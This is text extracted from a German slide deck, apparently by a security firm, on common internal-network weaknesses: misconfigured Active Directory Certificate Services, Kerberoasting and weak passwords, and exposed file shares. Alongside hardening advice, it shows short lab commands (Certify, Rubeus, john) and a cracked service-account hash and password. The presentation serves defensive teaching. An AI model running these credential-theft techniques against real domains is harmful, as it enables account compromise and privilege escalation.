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Zugriff aufs interne Netzwerk
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Assume Breach
Angreifer im internen Netzwerk
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Assume Breach
Annahme: irgendwann kommt eine angreifende Person ins interne Netzwerk

Ausgangspunkt: internes Netzwerk

Assessment Varianten:

Interner Penetration Test

Teil eines Red Team Assessments

Ziel: Defence-in-Depth



Häufige Schwachstellen
Im internen Netzwerk

#3



Active Directory Certificate Services
Certified Pre-Owned - Abusing Active Directory Certificate Services [1]

Autoren: Will Schroeder und Lee Christensen

Veröffentlichung: Juni 2021

ESC1 - ESC8: Domain Escalation

[1] h�ps://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf


Active Directory Certificate Services
Anfällige Konfigurationen können einfach geprüft werden

h�ps://github.com/GhostPack/Certify

C:\Tools> Certify.exe find /vulnerable

[!] Vulnerable Certificates Templates:

    CA Name                             : dc-2.dev.cyberbotic.io
    [...]

PingCastle: h�ps://www.pingcastle.com/

https://github.com/GhostPack/Certify
https://www.pingcastle.com/


Active Directory Certificate Services



Kerberoasting / Schwache Passwörter
h�ps://github.com/GhostPack/Rubeus

C:\Tools> Rubeus.exe kerberoast /simple /nowrap

[*] Total kerberoastable users : 3

$krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-
2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$122A4848378D3CFFEF922BDEA
[...]
087AAC4C2

PingCastle: h�ps://www.pingcastle.com/

https://github.com/GhostPack/Rubeus
https://www.pingcastle.com/


Kerberoasting / Schwache Passwörter
Crack the Hash:

$ john --format=krb5tgs --wordlist=wordlist mssql_svc
Cyberb0tic       (mssql_svc$dev.cyberbotic.io)

Highlights 2023:

Vorname

admin

123456789

Username = Password



Kerberoasting / Schwache Passwörter
Lange und komplexe Passwörter für Dienstkonten

Aktivierung der AES Kerberos-Verschlüsselung anstelle von RC4

Least-Privilege-Prinzip für Dienstkonten

Managed Service Accounts

Monitoring / Alerting



File Shares
Highlights 2023:

Scripte mit Benutzername und Passwort

Domain Controller Backups

Vertrauliche Daten für alle lesbar

Schreibbare Startup-Scripte

Schreibbares wwwroot-Verzeichnis



PowerHuntShares

Quelle: h�ps://github.com/NetSPI/Powerhuntshares

https://github.com/NetSPI/Powerhuntshares


Summary
Möglichkeit echte Angriffe durchzuspielen

Security Best-Practice

Härtung im internen Netzwerk - Defence-in-Depth



Vielen Dank!



Unsere Services fordern
Ihr Sicherheitssystem heraus.


